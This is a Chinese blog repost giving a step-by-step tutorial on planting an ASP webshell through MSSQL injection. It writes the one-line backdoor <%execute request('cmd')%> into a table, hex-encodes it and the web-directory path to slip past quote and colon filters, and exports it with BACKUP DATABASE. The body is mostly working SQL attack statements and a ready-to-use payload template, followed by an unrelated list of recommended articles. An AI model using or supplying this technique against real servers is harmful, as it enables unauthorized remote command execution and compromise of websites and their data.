博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Mssql备份得webshell突破特殊字符限制
阅读量:4885 次
发布时间:2019-06-11

本文共 1265 字,大约阅读时间需要 4 分钟。

1.插入数据
mssql注射使用Backup或makewebtask得到webshell,在写入webshell代码时,如果过滤了一些特殊字符,如" '等。我们先mssql分析器里“查询”:
use pubs; <===使用数据库pubs 
create table cmd (str image); <===建立个表cmd 一个属性为image的列 
insert into cmd (str) values ('<%execute request("cmd")&""%>') <===插入数据为 <%execute request("cmd")&""%> 
select * from cmd; <===查询输出cmd里的所有数据
查询输出str为: 
0x3C256578656375746520726571756573742822636D642229262222253E
我们不管插入str什么数据,在数据库里会自动转为hex编码,那么我们可以直接在上面的sql语句里insert into 的数据改为hex编码:
use pubs 
create table cmd (str image) 
insert into cmd(str) values(0x3C256578656375746520726571756573742822636D642229262222253E) 
select * from cmd
查询输出str为: 
0x3C256578656375746520726571756573742822636D642229262222253E
什么2种方法得到的结果一样,但是第2种方法里插入的数据,就没有' " &等等。
2.导出路径
常规的插入数据后导出webshell的语句为:
backup database model to disk='g:\wwwtest\l.asp';
显然导出路径里包涵了' : \等,我们照样可以使用hex编码来突破:
declare @a sysname 
select @a=0x673A5C777777746573745C6C2E617370 <====0x673A5C777777746573745C6C2E617370为g:\wwwtest\l.asp对应的hex代码 
backup database pubs to disk=@a
运行查询,可以成功导出webshell。
3.小结:
结合1,2我们可以得到完整的导出webshell的sql语句格式为:
use model 
create table cmd (str image) 
insert into cmd(str) values(0x***********) 
declare @a sysname select @a=0x********** backup database pubs to disk=@a;

转载于:https://www.cnblogs.com/mujj/articles/2013899.html

你可能感兴趣的文章
HDU6400-2018ACM暑假多校联合训练1004-Parentheses Matrix-构造
查看>>
最短路问题专题
查看>>
《Redis复制与可扩展集群搭建》看后感
查看>>
Jquery Mobile总结
查看>>
223. Rectangle Area
查看>>
spring boot + velocity中文乱码解决方式
查看>>
读罢泪两行,人生成长必须面对的10个残酷事实
查看>>
ASP 32位程序运行与64位问题:ADODB.Connection 错误 '800a0ea9' 未指定提供程序,也没有指派的默认提供程序。...
查看>>
xcode-git笔记
查看>>
TCP和UDP的优缺点及区别
查看>>
MATLAB消除曲线毛刺Outlier Detection and Removal [hampel]
查看>>
MySQL DATE_SUB() 函数
查看>>
在SSH框架下按条件分页查询
查看>>
jquery选择器
查看>>
【javascript学习——《javascript高级程序设计》笔记】DOM操作
查看>>
高效的SQL语句翻页代码
查看>>
XMLHTTP.readyState的五种状态
查看>>
百度外卖 前端面试题
查看>>
record for json formate site
查看>>
查询树形的根节点
查看>>